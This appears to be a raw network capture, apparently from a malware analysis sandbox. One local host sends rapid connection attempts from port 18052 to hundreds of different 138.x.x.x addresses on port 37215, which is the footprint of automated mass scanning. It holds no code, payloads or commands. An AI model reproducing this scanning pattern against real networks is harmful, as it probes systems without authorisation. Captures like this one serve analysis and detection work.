Feb 19, 2024 18:36:18.883860111 CET	18052	37215	192.168.2.15	138.181.153.18
Feb 19, 2024 18:36:18.883876085 CET	18052	37215	192.168.2.15	138.232.84.252
Feb 19, 2024 18:36:18.883889914 CET	18052	37215	192.168.2.15	138.7.12.33
Feb 19, 2024 18:36:18.883908987 CET	18052	37215	192.168.2.15	138.108.234.159
Feb 19, 2024 18:36:18.883929014 CET	18052	37215	192.168.2.15	138.163.52.0
Feb 19, 2024 18:36:18.883945942 CET	18052	37215	192.168.2.15	138.230.60.20
Feb 19, 2024 18:36:18.883965015 CET	18052	37215	192.168.2.15	138.61.248.193
Feb 19, 2024 18:36:18.883984089 CET	18052	37215	192.168.2.15	138.68.174.10
Feb 19, 2024 18:36:18.883995056 CET	18052	37215	192.168.2.15	138.14.215.207
Feb 19, 2024 18:36:18.884016991 CET	18052	37215	192.168.2.15	138.215.10.208
Feb 19, 2024 18:36:18.884030104 CET	18052	37215	192.168.2.15	138.89.189.107
Feb 19, 2024 18:36:18.884048939 CET	18052	37215	192.168.2.15	138.116.191.138
Feb 19, 2024 18:36:18.884068966 CET	18052	37215	192.168.2.15	138.116.137.64
Feb 19, 2024 18:36:18.884087086 CET	18052	37215	192.168.2.15	138.4.250.93
Feb 19, 2024 18:36:18.884108067 CET	18052	37215	192.168.2.15	138.240.205.95
Feb 19, 2024 18:36:18.884124994 CET	18052	37215	192.168.2.15	138.138.150.113
Feb 19, 2024 18:36:18.884146929 CET	18052	37215	192.168.2.15	138.24.146.125
Feb 19, 2024 18:36:18.884164095 CET	18052	37215	192.168.2.15	138.102.186.84
Feb 19, 2024 18:36:18.884179115 CET	18052	37215	192.168.2.15	138.108.184.134
Feb 19, 2024 18:36:18.884192944 CET	18052	37215	192.168.2.15	138.1.209.127
Feb 19, 2024 18:36:18.884212017 CET	18052	37215	192.168.2.15	138.41.66.73
Feb 19, 2024 18:36:18.884229898 CET	18052	37215	192.168.2.15	138.144.188.150
Feb 19, 2024 18:36:18.884273052 CET	18052	37215	192.168.2.15	138.168.102.39
Feb 19, 2024 18:36:18.884289026 CET	18052	37215	192.168.2.15	138.88.168.139
Feb 19, 2024 18:36:18.884305954 CET	18052	37215	192.168.2.15	138.1.21.96
Feb 19, 2024 18:36:18.884326935 CET	18052	37215	192.168.2.15	138.15.129.112
Feb 19, 2024 18:36:18.884351969 CET	18052	37215	192.168.2.15	138.245.4.224
Feb 19, 2024 18:36:18.884371996 CET	18052	37215	192.168.2.15	138.128.30.31
Feb 19, 2024 18:36:18.884396076 CET	18052	37215	192.168.2.15	138.124.227.75
Feb 19, 2024 18:36:18.884423971 CET	18052	37215	192.168.2.15	138.60.194.35
Feb 19, 2024 18:36:18.884442091 CET	18052	37215	192.168.2.15	138.108.247.183
Feb 19, 2024 18:36:18.884462118 CET	18052	37215	192.168.2.15	138.19.121.255
Feb 19, 2024 18:36:18.884478092 CET	18052	37215	192.168.2.15	138.115.253.32
Feb 19, 2024 18:36:18.884493113 CET	18052	37215	192.168.2.15	138.212.163.134
Feb 19, 2024 18:36:18.884515047 CET	18052	37215	192.168.2.15	138.84.28.68
Feb 19, 2024 18:36:18.884533882 CET	18052	37215	192.168.2.15	138.146.171.250
Feb 19, 2024 18:36:18.884556055 CET	18052	37215	192.168.2.15	138.20.194.121
Feb 19, 2024 18:36:18.884574890 CET	18052	37215	192.168.2.15	138.53.3.14
Feb 19, 2024 18:36:18.884589911 CET	18052	37215	192.168.2.15	138.29.181.88
Feb 19, 2024 18:36:18.884612083 CET	18052	37215	192.168.2.15	138.248.199.48
Feb 19, 2024 18:36:18.884624004 CET	18052	37215	192.168.2.15	138.11.191.11
Feb 19, 2024 18:36:18.884644032 CET	18052	37215	192.168.2.15	138.15.38.195
Feb 19, 2024 18:36:18.884664059 CET	18052	37215	192.168.2.15	138.240.106.90
Feb 19, 2024 18:36:18.884679079 CET	18052	37215	192.168.2.15	138.202.217.10
Feb 19, 2024 18:36:18.884699106 CET	18052	37215	192.168.2.15	138.230.80.125
Feb 19, 2024 18:36:18.884716988 CET	18052	37215	192.168.2.15	138.110.85.253
Feb 19, 2024 18:36:18.884732008 CET	18052	37215	192.168.2.15	138.17.32.202
Feb 19, 2024 18:36:18.884754896 CET	18052	37215	192.168.2.15	138.64.228.76
Feb 19, 2024 18:36:18.884768963 CET	18052	37215	192.168.2.15	138.247.87.92
Feb 19, 2024 18:36:18.884787083 CET	18052	37215	192.168.2.15	138.127.169.150
Feb 19, 2024 18:36:18.884803057 CET	18052	37215	192.168.2.15	138.92.138.66
Feb 19, 2024 18:36:18.884821892 CET	18052	37215	192.168.2.15	138.149.161.103
Feb 19, 2024 18:36:18.884838104 CET	18052	37215	192.168.2.15	138.224.8.221
Feb 19, 2024 18:36:18.884851933 CET	18052	37215	192.168.2.15	138.95.49.104
Feb 19, 2024 18:36:18.884871006 CET	18052	37215	192.168.2.15	138.202.245.141
Feb 19, 2024 18:36:18.884890079 CET	18052	37215	192.168.2.15	138.18.79.216
Feb 19, 2024 18:36:18.884906054 CET	18052	37215	192.168.2.15	138.125.0.247
Feb 19, 2024 18:36:18.884919882 CET	18052	37215	192.168.2.15	138.199.29.90
Feb 19, 2024 18:36:18.884939909 CET	18052	37215	192.168.2.15	138.109.225.117
Feb 19, 2024 18:36:18.884959936 CET	18052	37215	192.168.2.15	138.179.210.39
Feb 19, 2024 18:36:18.884979010 CET	18052	37215	192.168.2.15	138.1.52.43
Feb 19, 2024 18:36:18.884996891 CET	18052	37215	192.168.2.15	138.182.219.42
Feb 19, 2024 18:36:18.885013103 CET	18052	37215	192.168.2.15	138.82.155.193
Feb 19, 2024 18:36:18.885029078 CET	18052	37215	192.168.2.15	138.181.131.188
Feb 19, 2024 18:36:18.885044098 CET	18052	37215	192.168.2.15	138.150.36.169
Feb 19, 2024 18:36:18.885060072 CET	18052	37215	192.168.2.15	138.237.207.147
Feb 19, 2024 18:36:18.885078907 CET	18052	37215	192.168.2.15	138.91.254.57
Feb 19, 2024 18:36:18.885094881 CET	18052	37215	192.168.2.15	138.69.70.236
Feb 19, 2024 18:36:18.885113001 CET	18052	37215	192.168.2.15	138.146.186.146
Feb 19, 2024 18:36:18.885132074 CET	18052	37215	192.168.2.15	138.167.208.42
Feb 19, 2024 18:36:18.885149956 CET	18052	37215	192.168.2.15	138.14.46.159
Feb 19, 2024 18:36:18.885165930 CET	18052	37215	192.168.2.15	138.107.175.216
Feb 19, 2024 18:36:18.885180950 CET	18052	37215	192.168.2.15	138.113.253.250
Feb 19, 2024 18:36:18.885200977 CET	18052	37215	192.168.2.15	138.165.229.97
Feb 19, 2024 18:36:18.885219097 CET	18052	37215	192.168.2.15	138.233.164.8
Feb 19, 2024 18:36:18.885232925 CET	18052	37215	192.168.2.15	138.240.214.6
Feb 19, 2024 18:36:18.885252953 CET	18052	37215	192.168.2.15	138.255.249.42
Feb 19, 2024 18:36:18.885272980 CET	18052	37215	192.168.2.15	138.83.112.72
Feb 19, 2024 18:36:18.885288000 CET	18052	37215	192.168.2.15	138.238.238.68
Feb 19, 2024 18:36:18.885303020 CET	18052	37215	192.168.2.15	138.95.139.241
Feb 19, 2024 18:36:18.885320902 CET	18052	37215	192.168.2.15	138.233.123.51
Feb 19, 2024 18:36:18.885339975 CET	18052	37215	192.168.2.15	138.144.103.212
Feb 19, 2024 18:36:18.885358095 CET	18052	37215	192.168.2.15	138.113.149.129
Feb 19, 2024 18:36:18.885375977 CET	18052	37215	192.168.2.15	138.236.122.192
Feb 19, 2024 18:36:18.885392904 CET	18052	37215	192.168.2.15	138.109.13.230
Feb 19, 2024 18:36:18.885407925 CET	18052	37215	192.168.2.15	138.101.69.116
Feb 19, 2024 18:36:18.885437965 CET	18052	37215	192.168.2.15	138.59.140.229
Feb 19, 2024 18:36:18.885451078 CET	18052	37215	192.168.2.15	138.41.45.128
Feb 19, 2024 18:36:18.885452986 CET	18052	37215	192.168.2.15	138.225.99.66
Feb 19, 2024 18:36:18.885468006 CET	18052	37215	192.168.2.15	138.81.2.180
Feb 19, 2024 18:36:18.885499954 CET	18052	37215	192.168.2.15	138.8.106.145
Feb 19, 2024 18:36:18.885516882 CET	18052	37215	192.168.2.15	138.44.209.12
Feb 19, 2024 18:36:18.885533094 CET	18052	37215	192.168.2.15	138.91.213.249
Feb 19, 2024 18:36:18.885550022 CET	18052	37215	192.168.2.15	138.139.201.3
Feb 19, 2024 18:36:18.885581017 CET	18052	37215	192.168.2.15	138.59.82.172
Feb 19, 2024 18:36:18.885601044 CET	18052	37215	192.168.2.15	138.86.168.163
Feb 19, 2024 18:36:18.885617018 CET	18052	37215	192.168.2.15	138.194.26.15
Feb 19, 2024 18:36:18.885653973 CET	18052	37215	192.168.2.15	138.23.67.167
Feb 19, 2024 18:36:18.885704041 CET	18052	37215	192.168.2.15	138.69.105.15
Feb 19, 2024 18:36:18.885704041 CET	18052	37215	192.168.2.15	138.226.84.248
Feb 19, 2024 18:36:18.885704041 CET	18052	37215	192.168.2.15	138.202.15.58
Feb 19, 2024 18:36:18.885704994 CET	18052	37215	192.168.2.15	138.248.206.126
Feb 19, 2024 18:36:18.885721922 CET	18052	37215	192.168.2.15	138.20.88.115
Feb 19, 2024 18:36:18.885721922 CET	18052	37215	192.168.2.15	138.57.48.45
Feb 19, 2024 18:36:18.885735035 CET	18052	37215	192.168.2.15	138.42.250.253
Feb 19, 2024 18:36:18.885754108 CET	18052	37215	192.168.2.15	138.248.38.102
Feb 19, 2024 18:36:18.885772943 CET	18052	37215	192.168.2.15	138.122.212.69
Feb 19, 2024 18:36:18.885796070 CET	18052	37215	192.168.2.15	138.146.73.91
Feb 19, 2024 18:36:18.885808945 CET	18052	37215	192.168.2.15	138.195.191.110
Feb 19, 2024 18:36:18.885831118 CET	18052	37215	192.168.2.15	138.188.92.138
Feb 19, 2024 18:36:18.885852098 CET	18052	37215	192.168.2.15	138.204.48.125
Feb 19, 2024 18:36:18.885898113 CET	18052	37215	192.168.2.15	138.144.90.18
Feb 19, 2024 18:36:18.885905027 CET	18052	37215	192.168.2.15	138.34.13.12
Feb 19, 2024 18:36:18.885922909 CET	18052	37215	192.168.2.15	138.211.145.192
Feb 19, 2024 18:36:18.885996103 CET	18052	37215	192.168.2.15	138.237.55.198
Feb 19, 2024 18:36:18.886001110 CET	18052	37215	192.168.2.15	138.51.102.66
Feb 19, 2024 18:36:18.886001110 CET	18052	37215	192.168.2.15	138.41.26.140
Feb 19, 2024 18:36:18.886004925 CET	18052	37215	192.168.2.15	138.200.40.52
Feb 19, 2024 18:36:18.886025906 CET	18052	37215	192.168.2.15	138.5.12.81
Feb 19, 2024 18:36:18.886059046 CET	18052	37215	192.168.2.15	138.6.110.46
Feb 19, 2024 18:36:18.886059999 CET	18052	37215	192.168.2.15	138.5.158.65
Feb 19, 2024 18:36:18.886064053 CET	18052	37215	192.168.2.15	138.204.93.89
Feb 19, 2024 18:36:18.886084080 CET	18052	37215	192.168.2.15	138.183.213.206
Feb 19, 2024 18:36:18.886101007 CET	18052	37215	192.168.2.15	138.124.142.179
Feb 19, 2024 18:36:18.886177063 CET	18052	37215	192.168.2.15	138.198.226.60
Feb 19, 2024 18:36:18.886213064 CET	18052	37215	192.168.2.15	138.125.130.242
Feb 19, 2024 18:36:18.886213064 CET	18052	37215	192.168.2.15	138.153.172.104
Feb 19, 2024 18:36:18.886215925 CET	18052	37215	192.168.2.15	138.74.9.1
Feb 19, 2024 18:36:18.886221886 CET	18052	37215	192.168.2.15	138.36.201.183
Feb 19, 2024 18:36:18.886229038 CET	18052	37215	192.168.2.15	138.99.211.251
Feb 19, 2024 18:36:18.886230946 CET	18052	37215	192.168.2.15	138.141.75.22
Feb 19, 2024 18:36:18.886245966 CET	18052	37215	192.168.2.15	138.88.201.85
Feb 19, 2024 18:36:18.886261940 CET	18052	37215	192.168.2.15	138.112.223.2
Feb 19, 2024 18:36:18.886276960 CET	18052	37215	192.168.2.15	138.64.82.255
Feb 19, 2024 18:36:18.886296034 CET	18052	37215	192.168.2.15	138.97.0.236
Feb 19, 2024 18:36:18.886315107 CET	18052	37215	192.168.2.15	138.218.17.83
Feb 19, 2024 18:36:18.886336088 CET	18052	37215	192.168.2.15	138.26.145.154
Feb 19, 2024 18:36:18.886356115 CET	18052	37215	192.168.2.15	138.139.87.57
Feb 19, 2024 18:36:18.886372089 CET	18052	37215	192.168.2.15	138.121.154.193
Feb 19, 2024 18:36:18.886468887 CET	18052	37215	192.168.2.15	138.249.1.210
Feb 19, 2024 18:36:18.886472940 CET	18052	37215	192.168.2.15	138.39.187.129
Feb 19, 2024 18:36:18.886475086 CET	18052	37215	192.168.2.15	138.233.145.88
Feb 19, 2024 18:36:18.886568069 CET	18052	37215	192.168.2.15	138.100.121.162
Feb 19, 2024 18:36:18.886604071 CET	18052	37215	192.168.2.15	138.94.235.245
Feb 19, 2024 18:36:18.886629105 CET	18052	37215	192.168.2.15	138.92.18.83
Feb 19, 2024 18:36:18.886641979 CET	18052	37215	192.168.2.15	138.247.125.137
Feb 19, 2024 18:36:18.886665106 CET	18052	37215	192.168.2.15	138.92.201.11
Feb 19, 2024 18:36:18.886679888 CET	18052	37215	192.168.2.15	138.160.252.54
Feb 19, 2024 18:36:18.886702061 CET	18052	37215	192.168.2.15	138.157.107.112
Feb 19, 2024 18:36:18.886729956 CET	18052	37215	192.168.2.15	138.31.240.36
Feb 19, 2024 18:36:18.886748075 CET	18052	37215	192.168.2.15	138.70.129.26
Feb 19, 2024 18:36:18.886775017 CET	18052	37215	192.168.2.15	138.234.149.185
Feb 19, 2024 18:36:18.886825085 CET	18052	37215	192.168.2.15	138.81.108.235
Feb 19, 2024 18:36:18.886837006 CET	18052	37215	192.168.2.15	138.178.33.11
Feb 19, 2024 18:36:18.886841059 CET	18052	37215	192.168.2.15	138.96.30.36
Feb 19, 2024 18:36:18.886874914 CET	18052	37215	192.168.2.15	138.79.160.168
Feb 19, 2024 18:36:18.886913061 CET	18052	37215	192.168.2.15	138.109.24.97
Feb 19, 2024 18:36:18.886914968 CET	18052	37215	192.168.2.15	138.229.212.252
Feb 19, 2024 18:36:18.886919975 CET	18052	37215	192.168.2.15	138.74.174.125
Feb 19, 2024 18:36:18.886934996 CET	18052	37215	192.168.2.15	138.162.184.71
Feb 19, 2024 18:36:18.886955023 CET	18052	37215	192.168.2.15	138.161.199.254
Feb 19, 2024 18:36:18.886974096 CET	18052	37215	192.168.2.15	138.201.208.183
Feb 19, 2024 18:36:18.887074947 CET	18052	37215	192.168.2.15	138.105.95.80
Feb 19, 2024 18:36:18.887075901 CET	18052	37215	192.168.2.15	138.246.112.186
Feb 19, 2024 18:36:18.887075901 CET	18052	37215	192.168.2.15	138.202.224.131
Feb 19, 2024 18:36:18.887077093 CET	18052	37215	192.168.2.15	138.107.33.196
Feb 19, 2024 18:36:18.887078047 CET	18052	37215	192.168.2.15	138.209.71.136
Feb 19, 2024 18:36:18.887084007 CET	18052	37215	192.168.2.15	138.88.141.214
Feb 19, 2024 18:36:18.887099981 CET	18052	37215	192.168.2.15	138.169.2.70
Feb 19, 2024 18:36:18.887106895 CET	18052	37215	192.168.2.15	138.215.84.34
Feb 19, 2024 18:36:18.887120008 CET	18052	37215	192.168.2.15	138.197.167.252
Feb 19, 2024 18:36:18.887150049 CET	18052	37215	192.168.2.15	138.202.247.129
Feb 19, 2024 18:36:18.887150049 CET	18052	37215	192.168.2.15	138.208.205.200
Feb 19, 2024 18:36:18.887154102 CET	18052	37215	192.168.2.15	138.107.250.73
Feb 19, 2024 18:36:18.887208939 CET	18052	37215	192.168.2.15	138.140.197.183
Feb 19, 2024 18:36:18.887263060 CET	18052	37215	192.168.2.15	138.226.211.241
Feb 19, 2024 18:36:18.887271881 CET	18052	37215	192.168.2.15	138.206.253.8
Feb 19, 2024 18:36:18.887274027 CET	18052	37215	192.168.2.15	138.221.28.249
Feb 19, 2024 18:36:18.887312889 CET	18052	37215	192.168.2.15	138.108.174.150
Feb 19, 2024 18:36:18.887324095 CET	18052	37215	192.168.2.15	138.134.87.79
Feb 19, 2024 18:36:18.887341022 CET	18052	37215	192.168.2.15	138.23.105.228
Feb 19, 2024 18:36:18.887343884 CET	18052	37215	192.168.2.15	138.48.229.91
Feb 19, 2024 18:36:18.887408018 CET	18052	37215	192.168.2.15	138.22.248.53
Feb 19, 2024 18:36:18.887418985 CET	18052	37215	192.168.2.15	138.152.154.189
Feb 19, 2024 18:36:18.887466908 CET	18052	37215	192.168.2.15	138.20.250.98
Feb 19, 2024 18:36:18.887469053 CET	18052	37215	192.168.2.15	138.71.121.92
Feb 19, 2024 18:36:18.887470007 CET	18052	37215	192.168.2.15	138.222.117.136
Feb 19, 2024 18:36:18.887533903 CET	18052	37215	192.168.2.15	138.231.179.88
Feb 19, 2024 18:36:18.887533903 CET	18052	37215	192.168.2.15	138.242.28.76
Feb 19, 2024 18:36:18.887545109 CET	18052	37215	192.168.2.15	138.187.50.125
Feb 19, 2024 18:36:18.887545109 CET	18052	37215	192.168.2.15	138.237.96.232
Feb 19, 2024 18:36:18.887547016 CET	18052	37215	192.168.2.15	138.187.217.90
Feb 19, 2024 18:36:18.887551069 CET	18052	37215	192.168.2.15	138.55.182.79
Feb 19, 2024 18:36:18.887614965 CET	18052	37215	192.168.2.15	138.136.168.106
Feb 19, 2024 18:36:18.887614965 CET	18052	37215	192.168.2.15	138.188.250.161
Feb 19, 2024 18:36:18.887614965 CET	18052	37215	192.168.2.15	138.22.167.92
Feb 19, 2024 18:36:18.887679100 CET	18052	37215	192.168.2.15	138.33.164.44
Feb 19, 2024 18:36:18.887681961 CET	18052	37215	192.168.2.15	138.201.62.25
Feb 19, 2024 18:36:18.887681961 CET	18052	37215	192.168.2.15	138.28.211.32
Feb 19, 2024 18:36:18.887685061 CET	18052	37215	192.168.2.15	138.8.39.215
Feb 19, 2024 18:36:18.887727976 CET	18052	37215	192.168.2.15	138.144.220.13
Feb 19, 2024 18:36:18.887727976 CET	18052	37215	192.168.2.15	138.108.33.231
Feb 19, 2024 18:36:18.887793064 CET	18052	37215	192.168.2.15	138.151.127.44
Feb 19, 2024 18:36:18.887794018 CET	18052	37215	192.168.2.15	138.221.129.179
Feb 19, 2024 18:36:18.887794971 CET	18052	37215	192.168.2.15	138.114.2.16
Feb 19, 2024 18:36:18.887839079 CET	18052	37215	192.168.2.15	138.139.78.77
Feb 19, 2024 18:36:18.887841940 CET	18052	37215	192.168.2.15	138.24.119.10
Feb 19, 2024 18:36:18.887847900 CET	18052	37215	192.168.2.15	138.107.45.61
Feb 19, 2024 18:36:18.887855053 CET	18052	37215	192.168.2.15	138.126.186.169
Feb 19, 2024 18:36:18.887933016 CET	18052	37215	192.168.2.15	138.236.129.79
Feb 19, 2024 18:36:18.887933016 CET	18052	37215	192.168.2.15	138.169.191.49
Feb 19, 2024 18:36:18.887933016 CET	18052	37215	192.168.2.15	138.101.226.197
Feb 19, 2024 18:36:18.887934923 CET	18052	37215	192.168.2.15	138.100.120.246
Feb 19, 2024 18:36:18.887944937 CET	18052	37215	192.168.2.15	138.26.52.178
Feb 19, 2024 18:36:18.887962103 CET	18052	37215	192.168.2.15	138.115.183.246
Feb 19, 2024 18:36:18.888006926 CET	18052	37215	192.168.2.15	138.143.101.237
Feb 19, 2024 18:36:18.888063908 CET	18052	37215	192.168.2.15	138.239.17.221
Feb 19, 2024 18:36:18.888094902 CET	18052	37215	192.168.2.15	138.183.116.155
Feb 19, 2024 18:36:18.888097048 CET	18052	37215	192.168.2.15	138.31.158.190
Feb 19, 2024 18:36:18.888097048 CET	18052	37215	192.168.2.15	138.111.55.21
Feb 19, 2024 18:36:18.888114929 CET	18052	37215	192.168.2.15	138.173.137.106
Feb 19, 2024 18:36:18.888117075 CET	18052	37215	192.168.2.15	138.50.92.199
Feb 19, 2024 18:36:18.888123989 CET	18052	37215	192.168.2.15	138.41.46.37
Feb 19, 2024 18:36:18.888123989 CET	18052	37215	192.168.2.15	138.39.77.187
Feb 19, 2024 18:36:18.888139963 CET	18052	37215	192.168.2.15	138.54.197.93
Feb 19, 2024 18:36:18.888237000 CET	18052	37215	192.168.2.15	138.214.14.124
Feb 19, 2024 18:36:18.888258934 CET	18052	37215	192.168.2.15	138.144.97.122
Feb 19, 2024 18:36:18.888258934 CET	18052	37215	192.168.2.15	138.169.83.252
Feb 19, 2024 18:36:18.888261080 CET	18052	37215	192.168.2.15	138.81.146.146
Feb 19, 2024 18:36:18.888263941 CET	18052	37215	192.168.2.15	138.29.229.147
Feb 19, 2024 18:36:18.888263941 CET	18052	37215	192.168.2.15	138.52.218.86
Feb 19, 2024 18:36:18.888271093 CET	18052	37215	192.168.2.15	138.105.156.211
Feb 19, 2024 18:36:18.888319969 CET	18052	37215	192.168.2.15	138.85.88.40
Feb 19, 2024 18:36:18.888364077 CET	18052	37215	192.168.2.15	138.166.26.161
Feb 19, 2024 18:36:18.888372898 CET	18052	37215	192.168.2.15	138.223.20.221
Feb 19, 2024 18:36:18.888374090 CET	18052	37215	192.168.2.15	138.127.39.214
Feb 19, 2024 18:36:18.888374090 CET	18052	37215	192.168.2.15	138.103.95.253
Feb 19, 2024 18:36:18.888389111 CET	18052	37215	192.168.2.15	138.120.149.94
Feb 19, 2024 18:36:18.888430119 CET	18052	37215	192.168.2.15	138.162.243.137
Feb 19, 2024 18:36:18.888433933 CET	18052	37215	192.168.2.15	138.73.71.138
Feb 19, 2024 18:36:18.888453960 CET	18052	37215	192.168.2.15	138.132.170.243
Feb 19, 2024 18:36:18.888478994 CET	18052	37215	192.168.2.15	138.43.170.22
Feb 19, 2024 18:36:18.888499022 CET	18052	37215	192.168.2.15	138.29.153.135
Feb 19, 2024 18:36:18.888523102 CET	18052	37215	192.168.2.15	138.29.184.237
Feb 19, 2024 18:36:18.888545036 CET	18052	37215	192.168.2.15	138.197.142.9
Feb 19, 2024 18:36:18.888617992 CET	18052	37215	192.168.2.15	138.187.177.204
Feb 19, 2024 18:36:18.888636112 CET	18052	37215	192.168.2.15	138.174.149.89
Feb 19, 2024 18:36:18.888653040 CET	18052	37215	192.168.2.15	138.45.166.136
Feb 19, 2024 18:36:18.888670921 CET	18052	37215	192.168.2.15	138.217.115.38
Feb 19, 2024 18:36:18.888704062 CET	18052	37215	192.168.2.15	138.9.64.9
Feb 19, 2024 18:36:18.888725042 CET	18052	37215	192.168.2.15	138.200.32.113
Feb 19, 2024 18:36:18.888739109 CET	18052	37215	192.168.2.15	138.143.120.66
Feb 19, 2024 18:36:18.888755083 CET	18052	37215	192.168.2.15	138.213.7.238
Feb 19, 2024 18:36:18.888772964 CET	18052	37215	192.168.2.15	138.189.4.237
Feb 19, 2024 18:36:18.888792038 CET	18052	37215	192.168.2.15	138.166.6.28
Feb 19, 2024 18:36:18.888808966 CET	18052	37215	192.168.2.15	138.114.101.158
Feb 19, 2024 18:36:18.888828039 CET	18052	37215	192.168.2.15	138.163.235.178
Feb 19, 2024 18:36:18.888850927 CET	18052	37215	192.168.2.15	138.152.254.100
Feb 19, 2024 18:36:18.888866901 CET	18052	37215	192.168.2.15	138.200.106.164
Feb 19, 2024 18:36:18.888883114 CET	18052	37215	192.168.2.15	138.214.177.16
Feb 19, 2024 18:36:18.888900042 CET	18052	37215	192.168.2.15	138.48.174.7
Feb 19, 2024 18:36:18.888916016 CET	18052	37215	192.168.2.15	138.119.81.222
Feb 19, 2024 18:36:18.888931990 CET	18052	37215	192.168.2.15	138.129.31.226
Feb 19, 2024 18:36:18.888951063 CET	18052	37215	192.168.2.15	138.76.30.143
Feb 19, 2024 18:36:18.888968945 CET	18052	37215	192.168.2.15	138.136.149.25
Feb 19, 2024 18:36:18.888986111 CET	18052	37215	192.168.2.15	138.162.49.147
Feb 19, 2024 18:36:18.889002085 CET	18052	37215	192.168.2.15	138.16.89.211
Feb 19, 2024 18:36:18.889020920 CET	18052	37215	192.168.2.15	138.55.66.159
Feb 19, 2024 18:36:18.889058113 CET	18052	37215	192.168.2.15	138.241.31.56
Feb 19, 2024 18:36:18.889075994 CET	18052	37215	192.168.2.15	138.160.158.222
Feb 19, 2024 18:36:18.889110088 CET	18052	37215	192.168.2.15	138.146.186.196
Feb 19, 2024 18:36:18.889126062 CET	18052	37215	192.168.2.15	138.90.95.254
Feb 19, 2024 18:36:18.889142990 CET	18052	37215	192.168.2.15	138.13.63.133
Feb 19, 2024 18:36:18.889163971 CET	18052	37215	192.168.2.15	138.115.168.48
Feb 19, 2024 18:36:18.889189005 CET	18052	37215	192.168.2.15	138.29.134.221
Feb 19, 2024 18:36:18.889205933 CET	18052	37215	192.168.2.15	138.5.137.172
Feb 19, 2024 18:36:18.889221907 CET	18052	37215	192.168.2.15	138.206.124.132
Feb 19, 2024 18:36:18.889239073 CET	18052	37215	192.168.2.15	138.65.146.252
Feb 19, 2024 18:36:18.889259100 CET	18052	37215	192.168.2.15	138.81.214.20
Feb 19, 2024 18:36:18.889297962 CET	18052	37215	192.168.2.15	138.110.248.220
Feb 19, 2024 18:36:18.889302015 CET	18052	37215	192.168.2.15	138.111.190.14
Feb 19, 2024 18:36:18.889308929 CET	18052	37215	192.168.2.15	138.116.162.206
Feb 19, 2024 18:36:18.889333963 CET	18052	37215	192.168.2.15	138.16.96.104
Feb 19, 2024 18:36:18.889333963 CET	18052	37215	192.168.2.15	138.17.249.71
Feb 19, 2024 18:36:18.889360905 CET	18052	37215	192.168.2.15	138.188.138.232
Feb 19, 2024 18:36:18.889364958 CET	18052	37215	192.168.2.15	138.107.96.198
Feb 19, 2024 18:36:18.889383078 CET	18052	37215	192.168.2.15	138.161.135.217
Feb 19, 2024 18:36:18.889400959 CET	18052	37215	192.168.2.15	138.113.76.172
Feb 19, 2024 18:36:18.889420033 CET	18052	37215	192.168.2.15	138.62.201.144
Feb 19, 2024 18:36:18.889439106 CET	18052	37215	192.168.2.15	138.158.233.186
Feb 19, 2024 18:36:18.889486074 CET	18052	37215	192.168.2.15	138.91.126.44
Feb 19, 2024 18:36:18.889523983 CET	18052	37215	192.168.2.15	138.108.121.131
Feb 19, 2024 18:36:18.889573097 CET	18052	37215	192.168.2.15	138.230.255.58
Feb 19, 2024 18:36:18.889575958 CET	18052	37215	192.168.2.15	138.62.204.85
Feb 19, 2024 18:36:18.889580965 CET	18052	37215	192.168.2.15	138.252.84.89
Feb 19, 2024 18:36:18.889583111 CET	18052	37215	192.168.2.15	138.88.32.238
Feb 19, 2024 18:36:18.889583111 CET	18052	37215	192.168.2.15	138.197.32.242
Feb 19, 2024 18:36:18.889596939 CET	18052	37215	192.168.2.15	138.74.5.229
Feb 19, 2024 18:36:18.889652014 CET	18052	37215	192.168.2.15	138.88.153.112
Feb 19, 2024 18:36:18.889653921 CET	18052	37215	192.168.2.15	138.2.232.197
Feb 19, 2024 18:36:18.889659882 CET	18052	37215	192.168.2.15	138.94.195.230
Feb 19, 2024 18:36:18.889717102 CET	18052	37215	192.168.2.15	138.163.176.9
Feb 19, 2024 18:36:18.889720917 CET	18052	37215	192.168.2.15	138.101.231.185
Feb 19, 2024 18:36:18.889720917 CET	18052	37215	192.168.2.15	138.210.67.230
Feb 19, 2024 18:36:18.889764071 CET	18052	37215	192.168.2.15	138.167.233.251
Feb 19, 2024 18:36:18.889780998 CET	18052	37215	192.168.2.15	138.232.132.77
Feb 19, 2024 18:36:18.889796972 CET	18052	37215	192.168.2.15	138.201.87.185
Feb 19, 2024 18:36:18.889796972 CET	18052	37215	192.168.2.15	138.34.163.52
Feb 19, 2024 18:36:18.889837027 CET	18052	37215	192.168.2.15	138.241.215.184
Feb 19, 2024 18:36:18.889867067 CET	18052	37215	192.168.2.15	138.22.232.205
Feb 19, 2024 18:36:18.889872074 CET	18052	37215	192.168.2.15	138.70.86.200
Feb 19, 2024 18:36:18.889883995 CET	18052	37215	192.168.2.15	138.34.121.70
Feb 19, 2024 18:36:18.889897108 CET	18052	37215	192.168.2.15	138.8.113.39
Feb 19, 2024 18:36:18.889916897 CET	18052	37215	192.168.2.15	138.53.52.164
Feb 19, 2024 18:36:18.889935970 CET	18052	37215	192.168.2.15	138.91.28.184
Feb 19, 2024 18:36:18.889966011 CET	18052	37215	192.168.2.15	138.140.199.4
Feb 19, 2024 18:36:18.889986038 CET	18052	37215	192.168.2.15	138.8.152.100
Feb 19, 2024 18:36:18.890028000 CET	18052	37215	192.168.2.15	138.168.1.154
Feb 19, 2024 18:36:18.890048981 CET	18052	37215	192.168.2.15	138.184.117.63
Feb 19, 2024 18:36:18.890064955 CET	18052	37215	192.168.2.15	138.7.213.237
Feb 19, 2024 18:36:18.890109062 CET	18052	37215	192.168.2.15	138.233.176.183
Feb 19, 2024 18:36:18.890127897 CET	18052	37215	192.168.2.15	138.184.241.141
Feb 19, 2024 18:36:18.890146971 CET	18052	37215	192.168.2.15	138.142.244.52
Feb 19, 2024 18:36:18.890160084 CET	18052	37215	192.168.2.15	138.24.6.3
Feb 19, 2024 18:36:18.890181065 CET	18052	37215	192.168.2.15	138.35.245.118
Feb 19, 2024 18:36:18.890216112 CET	18052	37215	192.168.2.15	138.53.70.253
Feb 19, 2024 18:36:18.890230894 CET	18052	37215	192.168.2.15	138.40.80.237
Feb 19, 2024 18:36:18.890245914 CET	18052	37215	192.168.2.15	138.77.6.99
Feb 19, 2024 18:36:18.890264988 CET	18052	37215	192.168.2.15	138.172.62.14
Feb 19, 2024 18:36:18.890280008 CET	18052	37215	192.168.2.15	138.141.48.246
Feb 19, 2024 18:36:18.890295982 CET	18052	37215	192.168.2.15	138.67.98.80
Feb 19, 2024 18:36:18.890311956 CET	18052	37215	192.168.2.15	138.160.8.213
Feb 19, 2024 18:36:18.890331984 CET	18052	37215	192.168.2.15	138.123.199.20
